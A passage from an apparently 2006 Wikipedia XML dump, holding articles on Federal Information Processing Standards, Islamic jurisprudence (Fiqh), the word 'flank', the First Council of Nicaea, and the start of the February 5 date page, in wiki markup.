        <ip>62.21.45.65</ip>
      </contributor>
      <text xml:space="preserve">'''''FIPS''''' could mean

*[[Federal Information Processing Standard]], publicly announced [[Standards organization|standard]]s developed by the U.S. Federal government.
*[[FIPS (computer program)|FIPS]], a [[computer program]] for splitting [[hard disk]] [[partition (computing)|partition]]s.
*[http://www.fips.cam.org/ Fédération internationale des patrouilles de ski], a corporation made up of ski patrol organizations representing ski patrollers and ski safety in their respective countries. (See also, [[CSPS]].)
*[http://www.fips.org.pl/ Fundacja Innowacyjnych Przedsięwzięć Społecznych] (Innovative Social Enterprises Foundation),  a student organization in Poznań, Poland.

{{4LA}}</text>
    </revision>
  </page>
  <page>
    <title>Federal Information Processing Standard</title>
    <id>11113</id>
    <revision>
      <id>38862014</id>
      <timestamp>2006-02-09T03:13:13Z</timestamp>
      <contributor>
        <username>Elwikipedista</username>
        <id>90304</id>
      </contributor>
      <comment>Links</comment>
      <text xml:space="preserve">'''Federal Information Processing Standards''' ('''[[FIPS]]''') are publicly announced [[standard]]s developed by the [[U.S. Federal government]] for use by all (non-military) government agencies and by government contractors.  Many FIPS standards are modified versions of standards used in the wider community ([[ANSI]], [[IEEE]], [[International Organization for Standardization|ISO]], etc.) 

Some FIPS standards were originally developed by the U.S. government. For instance, standards for encoding data (e.g. [[country codes]]), but more significantly some encryption standards, such as the [[Data Encryption Standard]] ([[FIPS 46]]) and the [[Advanced Encryption Standard]].

Examples of FIPS standards:
* [[FIPS two-letter country codes]] ([[FIPS 10-4|10-4]])
* [[FIPS place code]]s ([[FIPS 55-3|55-3]])
* [[FIPS county code]]s ([[FIPS 6-4|6-4]])
* [[FIPS state code]]s ([[FIPS 5-2|5-2]])

All similar to or comparable with [[ISO 3166]], or the [[Nomenclature of Territorial Units for Statistics|NUTS]] standard of the [[European Union]].

==See also==
* [[FIPS 140]]
* [[FIPS 201]]
* [[List of FIPS region codes]]
* [[FIPS 4]], &quot;Representation of [[calendar date]] to facilitate interchange of data among information systems&quot;. The current revision (as of 2005) is FIPS 4-2 [http://www.itl.nist.gov/fipspubs/by-num.htm].
&lt;!-- Yes, but what *is* FIPS 4-2? These links just say FIPS 4-2 was adopted. --&gt;

==External links==
* [http://www.itl.nist.gov/fipspubs FIPS homepage]

[[Category:Standards]]
[[de:Federal Information Processing Standard]]
[[it:Federal Information Processing Standard]]
[[ja:Federal Information Processing Standards]]
[[zh:&amp;#32879;&amp;#37030;&amp;#36039;&amp;#26009;&amp;#34389;&amp;#29702;&amp;#27161;&amp;#28310;]]</text>
    </revision>
  </page>
  <page>
    <title>Fiqh</title>
    <id>11114</id>
    <revision>
      <id>42102948</id>
      <timestamp>2006-03-03T21:18:40Z</timestamp>
      <contributor>
        <ip>209.215.94.221</ip>
      </contributor>
      <comment>/* The four schools */</comment>
      <text xml:space="preserve">{{Islam}}

'''Islamic jurisprudence''', (Arabic: '''''Fiqh''''') (in [[Arabic language|Arabic]] and [[Persian language|Persian]]: &amp;#1601;&amp;#1602;&amp;#1607;) is made up of the rulings ([[Fatwa]]) of [[Muslim]] [[Islamic jurists]] ([[Ulema]]) to direct the lives of the Muslims. It is one of the fields of study in [[Islamic studies]].

By definition, Fiqh is the Islamic [[Jurisprudence]]. Technically, Fiqh expounds the methodology by which Islamic [[law]] is derived from primary and secondary sources, keeping in view the existing time and space.

==Etymology==
Fiqh literally means to &quot;comprehend and understand&quot;, from the Qur'an 3:7 and 4:162.
Yet, Fiqh in Islamic terminology means: to extract  religious rulings on practical matters from the main sources of Islam (i.e. Qur'an and Sunnah...and other sources that the are assigned by another science called [[Usul al-fiqh|Usul al-fiqh (أصول الفقه)]], the fundamentals of fiqh.

== Faqeeh (Muslim Jurist)فقيه==
A faqeeh is someone that is specailized in the sciences of Fiqh and Islamic law. 

{{Section-stub}}

==Fields of jurisprudence==
*[[Islamic economical jurisprudence]]فقه المعاملات 
*[[Islamic political jurisprudence]]
*[[Islamic marital jurisprudence]]
*[[Islamic criminal jurisprudence]]فقه العقوبات 
*[[Adab (behavior)|Islamic etiquettical jurisprudence]]الآداب 
*[[Islamic theological jurisprudence]]
*[[Islamic war jurisprudence]]فقه الجهاد

==Methodologies of jurisprudence Usul al-fiqh (أصول الفقه)==
There are different aproaches to the [[methodology]] used in Fiqh to derive [[Shariah]] from the Islamic sources. The main methodologies are:

*The four classical sunni schools which are, in chronological order : the Hanafi school, the Maliki school, the Shafi'e school and the Hanbali school, which represent the generally accepted Sunni authority for Islamic jurisprudence.
Yet, there are other schools that have not been famous but accepted. Such schools are like Thahiri, Sufian Al'thawree, Sufian bin O'yayna, Layth bin Sa'ad. In fact the four most famous schools mentioned go back to the schools as Sufian Bin Oyayna ..etc. 

*[[Jafari fiqh]], or the Shi'a fiqh
*[[Qur'an alone]] fiqh

For some sub-articles about methodoligies of jurisprudence, see:
* [[Shariah]]
* [[Qiyas]]
* [[Ijtihad]]
* [[al-urf]]
* [[Taqlid]]

===The four schools===
The four schools of [[Sunnite|Sunni]] Islam are each named by students of the classical jurist or ulama who taught them.  The Sunni schools (and where they are commonly found) are the [[Shafi'i]] ([[Indonesia]] and [[Malaysia]]), [[Hanafi]] ([[Turkey]], [[the Balkans]], [[Central Asia]], [[Indian subcontinent]], [[Egypt]], [[China]]), [[Maliki]] ([[North Africa]], [[West Africa]] and several of the [[Arab Gulf states]]), and [[Hanbali]] ([[Arabia]]).  

These four schools share most of their rulings, but differ on the particular [[hadith]]s they accept as authentically given by [[Muhammad]] and the weight they give to analogy or reason ([[qiyas]]) in deciding difficulties.

In chronological order, the [[Hanafi]] school was the earliest established under the jurist Imam [[Abu Hanifa]], who was born and taught in Iraq. Imam Abu Hanifa (80A.H. - 150A.H.), whose real name was Nu'man ibn Thabit, was born in the city of Kufa (modern day Iraq) in the year 80 A.H (689 A.D). Born into a family of tradesmen, the Imam's family were of Persian origin as well as descending from the noble Prophets (saw) companion Salman al Farsi (ra). Imam Abu Hanifah's father Thabit had met in Kufa, Imam Ali Ibn Abi Talib (ra) who made dua for him and his progeny, and some say that Abu Hanifah was a result of this dua. Being distant from the source of Islamic literatures based in Mecca and Madina, Imam Abu Hanifa was more apt at interpreting Islamic legal rules based on thought and reason if he was not able to get access to sources. Under Imam Abu Hanifa, the witr prayer was considered to be compulsory and the Hanafis also differed with other sects in relation to methods of taking ablution, prayers and payment of tithe or zakat. Imam Abu Hanifa also differed with the other three fiqh schools in many areas including the type of punishments meted out for various crimes in Islam. On the whole, the Hanafi school of jurisprudence could be said to have the most differences compared with the other three schools.

Students of Imam Malik established the Maliki school of which a majority now can be found in North Africa and some Arabian gulf states . Imam Malik, whose real name was Abu Abdullah, Malik bin Anas, was born in Medina in the year 715 AD. His ancestral home was in Yemen, but his grandfather settled in Medina after embracing Islam. He received his education in Medina, which was the most important seat of Islamic learning, and where the immediate descendants of the Companions of the Holy Prophet lived. Imam Malik was highly attracted to the study of law, and devoted his entire interest to the study of Fiqh. His principal book, the Kital al-Muwatta, is the earliest surviving book on Qur'an and hadith. Differences under the Maliki school included the fact that those following the Maliki school could state their purpose (or niat) once only for compulsory fasting which is valid for the whole month of Ramadhan whilst for the Syafi'ie school (see below), one would have to state his purpose every day of the month of Ramadhan for his fast to be valid the next day.

It must be said that although the four schools differed on various aspects of Islamic jurisprudence due to their varying interpretation of the Qur'an and Hadiths, the four schools as a whole remained united in terms of Islam as a whole.

===[[Ja'fari jurisprudence]]===
The [[Jaferi]] school ([[Iran]], [[Iraq]], and parts of [[Afghanistan]]) is more associated with [[Shiite|Shia Islam]].  The [[fatwa]]s, or time and space bound rulings of early jurists, are taken rather more seriously in this school, due to the more hierarchical structure of Shia Islam, which is ruled by the [[imam]]s.  But they are also more flexible, in that every jurist has considerable power to alter a decision according to his opinion.

Each school reflects a unique [[al-urf]] or culture, that the classical jurists themselves lived in, when rulings were made.  Some suggest that the discipline of [[isnah]] which developed to validate [[hadith]] made it relatively easy to record and validate also the rulings of jurists, making them far easier to imitate ([[taqlid]]) than to challenge in new contexts. The effect is, the schools have been more or less frozen for centuries, and reflect a culture that simply no longer exists.

Early [[shariah]] had a much more flexible character, and many modern Muslim scholars believe that it should be renewed, and that the classical jurists should lose special status.  This would require formulating a new fiqh suitable for the modern world, e.g. as proposed by advocates of the [[Islamization of knowledge]], and would deal with the modern context. This [[modernization]] is opposed by most conservative [[ulema]].

===Salafi===
These are the people who claim to follow the way of the [[Salaf]] of Islam. The Salafis are of the opinion that following a single [[mujtahid]] [[imam]] ([[taqlid]]) is not correct and that one should rely on personal interpretations of the Qur'an and the Hadith. For more information, refer the main article on [[salafism]].

===Qur'an alone===
A relatively new sect, instigated by Rashid Khalifa, whose life was called for by a fatwa (edict) from scholars all over the Islamic world, and who met his fate unexpectedly in his hometown. He claimed that following the Qur'an only was how God wanted the religion of Islam, and that any other ideology, including advice from the Prophet, was to be rejected. This group is considered by the majority of the Muslims to be outside of mainstream Islam.

== See also ==
* [[Hadith]]

== External links ==
* [http://www.fonsvitae.com/jurisprudence.html Books/Resources on Islamic Law]

[[Category:Islamic law]]

[[da:Fiqh]]
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    </revision>
  </page>
  <page>
    <title>Flank</title>
    <id>11115</id>
    <revision>
      <id>37177664</id>
      <timestamp>2006-01-29T05:57:41Z</timestamp>
      <contributor>
        <ip>68.34.126.141</ip>
      </contributor>
      <text xml:space="preserve">* A '''flank''' is the side of either a [[horse]] or a [[military unit]]. The parts of a military unit are regularly called the &quot;left flank&quot;, &quot;right flank&quot; and &quot;[[center]]&quot;. The use of these terms came from a time when armies would clash in an open field, but is still used today. Throughout military history, a common tactic has been to try to catch the enemy forces in the flank, see below.
* To '''flank''' is a verb, meaning to catch someone or something in the side (the flank, see above) or even from behind in order to attack them. The use of attack from an unexpected direction is generally very effective, and severely limits the offensive response possible for the attacked party. Flanking maneuvers (that is, movement in order to flank an enemy) are used on all levels of [[military tactics]], from individual [[soldier]] up to [[army]] divisions.
* '''Flank''' can also refer to a region of the posterior [[torso]] (lower back) beneath the [[ribs]] and above the [[ilium]]. Pain in this region is generally associated with [[kidney infection]] or calculi ([[kidney stone]]s). Flank pain might come from an [[ulcer]] on the posterior extension of the [[duodenum]] or more serious problems, such as increased posterior interabdominal pressure from an abdominal [[aortic aneurysm]].
* '''Flank''', also called '''flanker''' can refer to specific positions in the sport of [[rugby union]], and in American football. Flanks form part of the forwards and bind onto the side of the scrum. The two positions are blind-side flank (number 6) and open-side flank (number 7).

==See also==
* [[ambush]]
* [[charge (warfare)|charge]]
* [[Pincer maneuver]]
* [[Echelon formation]]

{{dab}}
[[Category:Military tactics]]</text>
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  </page>
  <page>
    <title>Fimbrium</title>
    <id>11117</id>
    <revision>
      <id>15908882</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Pilus]]
</text>
    </revision>
  </page>
  <page>
    <title>First Council of Nicaea</title>
    <id>11118</id>
    <revision>
      <id>42146152</id>
      <timestamp>2006-03-04T03:05:57Z</timestamp>
      <contributor>
        <ip>64.169.0.43</ip>
      </contributor>
      <comment>/* Notes */ add polytonic wrapper, increases readability?</comment>
      <text xml:space="preserve">{{Ecumenical council|council_name=First Council of Nicaea|council_date=AD [[325]]|accepted_by=[[Catholicism]], [[Eastern Orthodoxy]], [[Oriental Orthodoxy]], [[Assyrian Church of the East]], [[Anglicanism]], [[Lutheranism]]|previous=''none''|next=[[First Council of Constantinople]]|convoked_by=Emperor [[Constantine I (emperor)|Constantine I]]|presided_by=[[Alexander of Alexandria|Bishop Alexander of Alexandria]]|attendance=250-318 (only 5 from Western Church)|topics=[[Arianism]], celebration of Passover, now called [[Easter]], Miletian [[schism]], validity of [[baptism]] by heretics, lapsed Christians|documents=[[Nicene_Creed#The_original_Nicene_Creed_of_325|Original Nicene Creed]] and about 20 decrees}}
The '''First Council of Nicaea''', convoked by the [[Roman Emperors|Roman Emperor]] [[Constantine I of the Roman Empire|Constantine the Great]] in AD [[325]], was the first [[ecumenical council|ecumenical]]{{fn|4}} conference of [[bishop]]s of the [[Christianity|Christian]] Church.

The purpose of the council (also called a [[synod]]) was to resolve disagreements in the [[List of Patriarchs of Alexandria|Church of Alexandria]] over the nature of Jesus in relationship to the Father: in particular whether [[Jesus]] was of the same or of similar [[ousia|substance]] as [[God the Father]]. [[St. Alexander of Alexandria]] took the first position; the popular presbyter [[Arius]], from whom the term [[Arianism|Arian controversy]] comes, took the second.  The council decided against the Arians. Another result of the council was an agreement on the date of the [[Christian Passover]], now called [[Easter]], the most important feast of the Church's life. The council decided in favour of celebrating Passover on the first Sunday after the spring equinox, independently of the [[Bible|Bible's]] [[Hebrew Calendar]] (see also [[Quartodecimanism]]),  and authorized the [[Bishop of Alexandria]] (presumably using the [[Alexandrian calendar]]) to annually announce the exact date to his fellow bishops.

The Council of Nicaea was historically significant because it was the first effort to attain consensus in the church through an assembly representing all of [[Christendom]].{{fn|1}} &quot;It was the first occasion for the development of technical [[Christology]]&quot;.{{fn|2}} Further, &quot;Constantine in convoking and presiding over the council signaled a measure of imperial control over the church.&quot;{{fn|3}} With the creation of the [[Nicene Creed]], a precedent was established for subsequent general councils to create a [[creed|statement of belief]] and [[Canon law|canons]] which was intended to become [[orthodox]] for all Christians. It would serve to unify the Church and provide a clear guideline over disputed matters on what it meant to be a practicing Christian, a momentous event in the history of the Church and subsequent history of Europe.

==Character==

The first Council of Nicaea was the first general gathering of bishops from the whole Church, to resolve differences of faith that had arisen and to define clearly the faith received from the [[Twelve Apostles|apostle]]s. In this council, Church and State acted together.  Earlier councils, such as the [[Council of Jerusalem]], had resolved important questions, to be sure. Now, the Council of Nicaea formulated a definitive statement against a growing [[heresy]], a profession of faith intended to clarify and defend the heritage of true belief.  This council had a worldwide effect, for the whole Church.

In Arianism lay a great obstacle to concord of the Church and the unity of the [[Byzantine Empire]].  Accordingly, for the summer of AD 325, the bishops of all provinces were summoned to [[Nicaea]] in [[Bithynia]], a place easily accessible to the majority of the bishops, especially those of [[Asia Minor]], [[Syria]], [[Palestine (region)|Palestine]], [[Egypt]], [[Greece]], and [[Thrace]].

== Attendees ==

Constantine had invited all 1800 bishops of the Christian church (about 1000 in the east and 800 in the west).

The number of participating bishops cannot be accurately stated; [[Socrates Scholasticus]] and [[Epiphanius of Salamis]] counted 318; [[Eusebius of Caesarea]], only 250. The participating bishops were given free travel to and from their [[episcopal see]]s to the council, as well as lodging. These bishops did not travel alone; each one had permission to bring with him two [[presbyter]]s and three [[deacon]]s, so the total number of attendees would have been above 1500. Eusebius speaks of an almost innumerable host of accompanying [[priest]]s, deacons, and [[acolyte]]s. 

A special prominence was also attached to this council because the [[Persecution of Christians]] had just ended with the February [[313]] [[Edict of Milan]] by Constantine and [[Licinius]]. 

As a matter of record, the Eastern bishops formed the great majority.  Of these, the first rank was held by the three [[archbishop]]s: [[Alexander of Alexandria]], [[Eustathius of Antioch]], and [[Macarius of Jerusalem]]. Many of the assembled fathers, e.g,. [[Paphnutius of Thebes]], [[Potamon of Heraclea]] and [[Paul of Neocaesarea]], had stood forth as witnesses of the faith, and came to the council with the marks of persecution on their faces. Other remarkable attendees were [[Eusebius of Nicomedia]], [[Eusebius of Caesarea]], [[Saint Nicholas|Nicholas of Myra]], [[Aristakes of Armenia]], [[Jacob of Nisibis]], a former hermit and [[Saint Spyridon|Spyridion of Trimythous]] who even while a bishop made his living as a shepherd. From foreign places there came a [[Persians|Persian]] bishop John, a [[Goths|Gothic]] bishop Theophilus and [[Stratophilus]], bishop of [[Pitiunt]] in [[Egrisi]] (located at the border of modern-day [[Russia]] and [[Abkhazia]] outside of the Byzantine empire).

The [[Latin]]-speaking provinces sent at least five representatives: [[Marcus of Calabria]] from [[Italy]], [[Cecilian of Carthage]] from [[Africa]], [[Hosius of Córdoba]] from [[Hispania]], [[Nicasius of Dijon]] from [[Gaul]], and [[Domnus of Stridon]] from the province of the [[Danube]]. 

Among the assistants were [[Athanasius of Alexandria]], a young deacon and companion of Bishop [[Alexander of Alexandria]], who distinguished himself as the &quot;most vigorous fighter against the Arians,&quot; and similarly [[Alexander of Constantinople]], then a presbyter, as representative of his aged bishop.

== Agenda and procedure ==

The agenda of the synod were:

#The Arian question,
#The celebration of Passover, Now Called [[Easter]],
#The [[Meletius of Lycopolis|Meletian]] schism,
#The Father and Son one in purpose or in person
#The [[baptism]] of heretics, and
#The status of the lapsed in the persecution under [[Licinius]].

The council was formally opened [[May 20]], in the central structure of the imperial palace, with preliminary discussions on the [[Arianism|Arian]] question. In these discussions, some dominant figures were [[Arius]], with some adherents, especially Bishop [[Eusebius of Nicomedia]], Bishop [[Theognis of Nice]], and Bishop [[Maris of Chalcedon]]. Hosius of [[Córdoba, Hispania|Cordova]] may well have been the chairman of the deliberations. After being in session for an entire month, the council promulgated on [[June 19]] the [[Nicene_Creed#The_original_Nicene_Creed_of_325|original Nicene Creed]]. This profession of faith was adopted by the  overwhelming majority of bishops present. The emperor Constantine was present as an observer.

From the beginning of the gathering, the Arians and the orthodox were vocal in their opposition. The Arians were led by Eusebius of Nicomedia. 

Eusebius of Caesarea called to mind the [[baptism]]al [[creed]] (symbol) of his own diocese at [[Caesarea Palaestina|Caesarea]] in Palestine, as a form of reconciliation.  The majority of the bishops agreed with him.  For some time, scholars thought that the original Nicene Creed was based on this statement of Eusebius.  Today, most scholars think that this Creed is derived from the baptismal creed of [[Jerusalem]], as [[Hans Lietzmann]] proposed. Another possibility is the [[Apostle's Creed]].

In any case, as the council went on, the orthodox bishops won approval of every one of their proposals. It is evident that the convinced Arians were very much a minority.  It is also evident that the bishops expressed a firm dogmatic consensus, in direct opposition to the central tenets of Arianism.

==The Nicene Creed (symbol)==

[[Image:Nicaea_icon.jpg|thumb|right|Icon depicting the Holy Fathers of the First Council of Nicaea holding the Nicene Creed.]]

By and large, many creeds were acceptable to the members of the council.  From his perspective, even Arius could cite such a creed.

For Bishop Alexander and others, however, greater clarity was required.  Some distinctive elements in the [[Nicene_Creed#Comparison_between_creed_of_325_and_creed_of_381|Nicene Creed]], perhaps from the hand of Hosius of Cordova, were added.

#Jesus Christ is described as &quot;God from God, Light from Light, true God from true God.&quot;
#Jesus Christ is said to be &quot;begotten, not made.&quot;
#Finally, he is said to be &quot;from the substance of the Father.&quot;  No follower of Arius could say these words as a profession of faith.

Of the third article only the words &quot;and in the [[Holy Spirit]]&quot; were left; the original Nicene Creed ended with these words.  Then followed immediately the [[canon law|canons]] of the council.  So, instead of a more neutral baptismal creed, as proposed by Eusebius, the council promulgated the uncompromising anti-Arian Nicene Creed.  From earliest times, various creeds served as a means of identification for Christians, as a means of inclusion and recognition, especially at baptism.  In [[Rome]], for example, the [[Apostles' Creed]] was popular, especially for use in [[Lent]] and the Easter season.  Now, one specific creed was used to define the Church's faith clearly, to include those who professed it, and to exclude those who did not.  

The text of this profession of faith is preserved in a letter of Eusebius to his congregation, in Athanasius, and elsewhere. Although the most vocal anti-Arians, the [[ousios|Homoousians]] (from the [[Koine Greek]] word translated as &quot;of same substance&quot; which was condemned at the Council of Antioch in 264-268), were in the minority, the Creed was accepted by the council as an expression of the bishops' common faith and the ancient faith of the whole Church.

Bishop Hosius of Cordova, one of the firm Homoousians, may well have helped bring the council to consensus. At the time of the council, he was  the confidant of the emperor in all Church matters. Hosius stands at the head of the lists of bishops, and Athanasius ascribes to him the actual formulation of the creed. Great leaders such as [[Eustathius of Antioch]], [[Alexander of Alexandria]], [[Athanasius]], and [[Marcellus of Ancyra]] all belonged to the anti-Arian party. So, the Homoousians gained the final victory.

In spite of his sympathy for Arius, Eusebius of Caesarea accepted the decisions of the
council, accepting the entire creed.  The number of bishops in opposition was small.  After a month of discussion, there were only two adherents of Arius who remained steadfast, Theonas of Marmarica in [[Libya]], and Secundus of Ptolemais.  Of three others on whom Arius might have counted, Maris of Chalcedon finally agreed to the whole creed.  Similarly, [[Eusebius of Nicomedia]] and Theognis of Nice also agreed, except for the explicitly anti-Arian statements.

Now, the emperor actually carried out his previous threat; everybody who refused to endorse the Creed had to face [[exile]] from the empire.  Arius, Theonas, Secundus, Eusebius of Nicomedia, and Theognis were [[excommunication|excommunicated]].  The works of Arius were ordered to be confiscated and [[book burning|consigned to the flames]], although there is no evidence that this occurred. Nevertheless, the controversy, already festering, continued, in various parts of the empire.

==Passover (Easter) Controversy==

After the [[June 19]] settlement of the most important topic,  the question of the date of the [[Christian Passover]], now called [[Easter]], was brought up.  This feast is linked to the Jewish [[Passover]], as [[crucifixion]] and [[resurrection]] of Jesus occurred during that festival.  By the year [[300]], most Churches had adopted the Western style of celebrating the feast on the Sunday after the Passover, placing the emphasis on the resurrection, which occurred on a Sunday.  Others however celebrated the feast on the 14th of the Jewish month [[Nisan]], the date of the crucifixion according to the [[Bible|Bible's]] [[Hebrew calendar]].  Hence this group was called [[Quartodeciman|Quartodecimans]].  The Eastern Churches of [[Syria]], [[Cilicia]], and [[Mesopotamia]] determined the date of Christian Passover in relation to the 14th day of Nisan, in the Bible's Hebrew calendar. [[Alexandria]] and [[Rome]], however, followed a different calculation, attributed to [[Pope Soter]], so that Christian Passover would never coincide with the Jewish observance and decided in favour of celebrating on the first Sunday after the [[spring equinox]], independently of the Bible's Hebrew calendar.

According to [[Louis Duchesne|Duchesne]] (''Revue des questions historiques,'' xxviii. 37), who founds his conclusions:

#on the conciliar letter to the Alexandrians preserved in [[Theodoret]], ''Hist. eccl.'', I., ix. 12; [[Socrates Scholasticus|Socrates]], ''Hist. eccl.'', I., ix. 12;
#on the circular letter of Constantine to the bishops after the council, [[Eusebius]], ''Vita Constantine'', III., xviii. 19; Theodoret, ''Hist. eccl.'', I., x. 3 sqq.;
#on Athanasius, ''De Synodo'', v.; ''Epist. ad Afros'', ii.;

[[Epiphanius of Salamis]] wrote in the mid-4th Century, &quot;...the emperor...convened a council of 318 bishops...in the city of Nicea...They passed certain ecclesiastical canons at the council besides, and at the same time decreed in regard to the Passover that there must be one unanimous concord on the celebration of God's holy and supremely excellent day. For it was variously observed by people...&quot; (Epiphanius. The Panarion of Epiphanius of Salamis, Books II and III (Sects 47-80), De Fide). Section VI, Verses 1,1 and 1,3. Translated by Frank Williams. EJ Brill, New York, 1994, pp.471-472).

The council assumed the task of regulating these differences, in part because some [[diocese]]s were determined not to have Christian Passover correspond with the Jewish calendar (Jews were a persecuted minority because of the [[Jewish-Roman Wars]]).  For example, Eusebius' ''Life of Constantine'', Book III [http://www.newadvent.org/fathers/25023.htm] chapter 18 records Constantine as stating: &quot;Let us then have nothing in common with the detestable Jewish crowd; for we have received from our Saviour a different way.&quot;  The Council of Nicaea, however, did not declare the Alexandrian or Roman calculations as normative. Instead, the council gave the [[Bishop of Alexandria]] the privilege of announcing annually the date of Christian Passover to the [[Roman curia]].  Although the synod undertook the regulation of the dating of Christian Passover, it contented itself with communicating its decision to the different dioceses, instead of establishing a canon.  In the future, there would be [[Easter#Easter_controversies|conflict]] over this very matter. See also [[Computus]].

==Other Problems==
Then the bishops began proceedings against the Meletian schism. Its founder was suspended from his office but not degraded or exiled.

Finally, the council promulgated twenty new church laws, called ''[[canon law|canons]]'', (though the exact number is subject to debate, see [http://www.ccel.org/fathers2/NPNF2-14/Npnf2-14-24.htm#TopOfPage]), that is, unchanging rules of discipline. The twenty as listed in the [[Nicene and Post-Nicene Fathers]] are as follows:[http://www.ccel.org/fathers2/NPNF2-14/Npnf2-14-13.htm#P561_131414]

:1. prohibition of self-[[castration]]; (see [[Origen]])
:2. establishment of a minimum term for [[catechism]];
:3. prohibition of the presence in the house of a cleric of a younger woman who might bring him under suspicion;
:4. ordination of a bishop in the presence of at least three provincial bishops and confirmation by the [[Metropolitan bishop|metropolitan]];
:5. provision for two provincial [[synod]]s to be held annually;
:6. exceptional authority acknowledged for the bishops of [[Patriarch of Alexandria|Alexandria]] and [[Pope|Rome]], for their respective regions;
:7. recognition of the honorary rights of the [[Patriarch of Jerusalem|see of Jerusalem]];
:8. provision for agreement with the [[Novatian]]s;
:9-14. provision for mild procedure against the lapsed during the persecution under [[Licinius]];
:15-16. prohibition of the removal of priests;
:17. prohibition of [[usury]] among the clergy;
:18. precedence of bishops and presbyters before deacons in receiving Holy Communion, the [[Eucharist]];
:19. declaration of the invalidity of [[baptism]] by [[heresy|heretics]];
:20. prohibition of kneeling during the [[liturgy]], on Sundays and in the fifty days of [[Eastertide]] [&quot;the pentecost&quot;]. Standing was the normative posture for [[prayer]] at this time, as it still is among the Eastern Orthodox. (In time, Western Christianity adopted the term [[Pentecost]] to refer to the last Sunday of Eastertide, the fiftieth day.) For the exact text of the prohibition of kneeling, in Greek and in English translation, see [http://www.srocco.org/Liturgies/NiceaStanding.dsp canon 20] of the acts of the council.

On [[July 25]], [[325]], in conclusion, the fathers of the council celebrated the emperor's twentieth anniversary.  In his valedictory address, Constantine again informed his hearers how averse he was to dogmatic controversy; he wanted the Church to live in harmony and peace.  In a circular letter, he announced the accomplished unity of practice by the whole Church in the date of the celebration of Christian Passover (now called Easter).

The synod was not decisive, however.  Arius as well as the friends punished with him and the Meletians regained nearly all rights  they had lost, moreover Arianism continued to spread and to cause division in the Church, during the remainder of the fourth century.

==Notes==
*{{fnb|1}}Richard Kieckhefer (1989). &quot;Papacy&quot;. ''[[Dictionary of the Middle Ages]]''. ISBN 0684182750
*{{fnb|2}} Kieckhefer.
*{{fnb|3}} Kieckhefer.
*{{fnb|4}} ''ecumenical'', from [[Koine Greek]] ''oikoumenikos,'' literally meaning worldwide but generally assumed to be limited to the Roman Empire as in Augustus' claim to be ruler of the oikoumene/world; the earliest extant uses of the term for a council are Eusebius' ''Life of Constantine'' 3.6[http://khazarzar.skeptik.net/books/eusebius/vc/gr/index.htm] &quot;{{polytonic|σύνοδον οἰκουμενικὴν συνεκρότει}}&quot; (he convoked an Ecumenical council), Athanasius' Ad Afros Epistola Synodica in 369[http://www.newadvent.org/fathers/2819.htm], and the Letter in 382 to [[Pope Damasus I]] and the Latin bishops from the [[First Council of Constantinople]][http://www.ccel.org/fathers2/NPNF2-14/Npnf2-14-63.htm#TopOfPage]

==See also==
* [[Ecumenical council]]
* [[First Council of Constantinople]]
* [[Second Council of Nicaea]]
* [[Constantinian shift]]

== Bibliography  ==
* Schaff, Philip ''[http://www.ccel.org/ccel/schaff/npnf214.vii.i.html The first ecumenical council]'' includes creed and canons of the council.
* Sozomen, ''[http://www.ccel.org/ccel/schaff/npnf202.iii.vi.xvii.html Of the Council convened at Nicæa on Account of Arius]'' from the Ecclesiastical History of Sozomen, a 5th century source.
* Eusebius of Caesarea, ''[http://www.ccel.org/ccel/schaff/npnf204.ix.ii.html Letter of Eusebius of Cæsarea to the people of his Diocese]'' Account of the Council of Nicea
* Eusebius of Caesarea, ''[http://www.ccel.org/ccel/schaff/npnf201.toc.html The Life of the Blessed Emperor Constantine]'' Book 3, Chapters  VI-XXI treat the First Council of Nicaea.
* Rusch, William G. &quot;The Trinitarian Controversy&quot;, Sources of Christian Thought Series, ISBN 0800614100
* Kelly, J.N.D., ''The Nicene Crisis'' in ''Early Christian Doctrines'', 1978, ISBN  006064334X
* Kelly, J.N.D.,  ''The Creed of Nicea'' in ''Early Christian Creeds'', 1982, ISBN 058249219X
* [[John Henry Newman]]. ''[http://www.newmanreader.org/works/arians/chapter3-1.html The Ecumenical Council of Nicæa in the Reign of Constantine] from ''Arians of the Fourth Century'', 1871
* Tanner S.J., Norman P., &quot;The Councils of the Church: A Short History&quot;, 2001, ISBN 0-8245-1904-3 
==External links==
*[http://www.newadvent.org/cathen/11044a.htm Catholic Encyclopedia: First Council of Nicaea]
* [http://www.christianitytoday.com/ch/2005/001/7.18.html The Road to Nicaea] a descriptive overview of the events of the Council, by [[John Anthony McGuckin]].
* [http://www.tertullian.org/rpearse/nicaea.html The Council of Nicaea and the Bible]. This article deals with the legend that the [[Books of the Bible|canon of the bible]] was discussed at the council.

[[Category:Ancient Roman Christianity]]
[[Category:325]]
[[Category:Patristics|Nicaea, First Council of]]
[[Category:Constantine Dynasty]]
[[Category:Canon law]]
[[Category:Christian history]]
[[Category:Eastern Orthodox Church councils]]

[[cs:1. nikajský koncil]]
[[de:Erstes Konzil von Nicäa]]
[[et:I Nikaia kirikukogu]]
[[es:Concilio de Nicea I]]
[[fr:Ier concile de Nicée]]
[[ko:제1차 니케아 공의회]]
[[it:Primo concilio di Nicea]]
[[la:Concilium Nicaenum Primum]]
[[nl:Concilie van Nicea]]
[[ja:第1ニカイア公会議]]
[[no:Konsilet i Nikea]]
[[pl:Sobór Nicejski I]]
[[pt:Primeiro Concílio de Niceia]]
[[ro:Primul conciliu din Niceea]]
[[ru:I Вселенский Собор]]
[[fi:Nikean ensimmäinen kirkolliskokous]]
[[sv:Första konciliet i Nicaea]]
[[zh:第一次尼西亞公會議]]</text>
    </revision>
  </page>
  <page>
    <title>February 5</title>
    <id>11119</id>
    <revision>
      <id>41683269</id>
      <timestamp>2006-03-01T01:10:33Z</timestamp>
      <contributor>
        <ip>140.233.205.153</ip>
      </contributor>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
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|{{FebruaryCalendar}}
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|{{ThisDateInRecentYears|Month=February|Day=5}}
|}
'''February 5''' is the 36th day of the year in the [[Gregorian Calendar]]. There are 329 days remaining (330 in [[leap year]]s).
==Events==
*[[1576]] - [[Henry IV of France|Henry of Navarre]] converts to [[Roman Catholicism]] in order to ensure his right to the throne of [[France]].
*[[1631]] - [[Roger Williams (theologian)|Roger Williams]] emigrates to [[Boston, Massachusetts|Boston]].
*[[1778]] - [[South Carolina]] becomes the first state to ratify the [[Articles of Confederation]].
*[[1782]] - [[Spain|Spanish]] defeat [[United Kingdom|British]] forces and capture [[Minorca]]. 
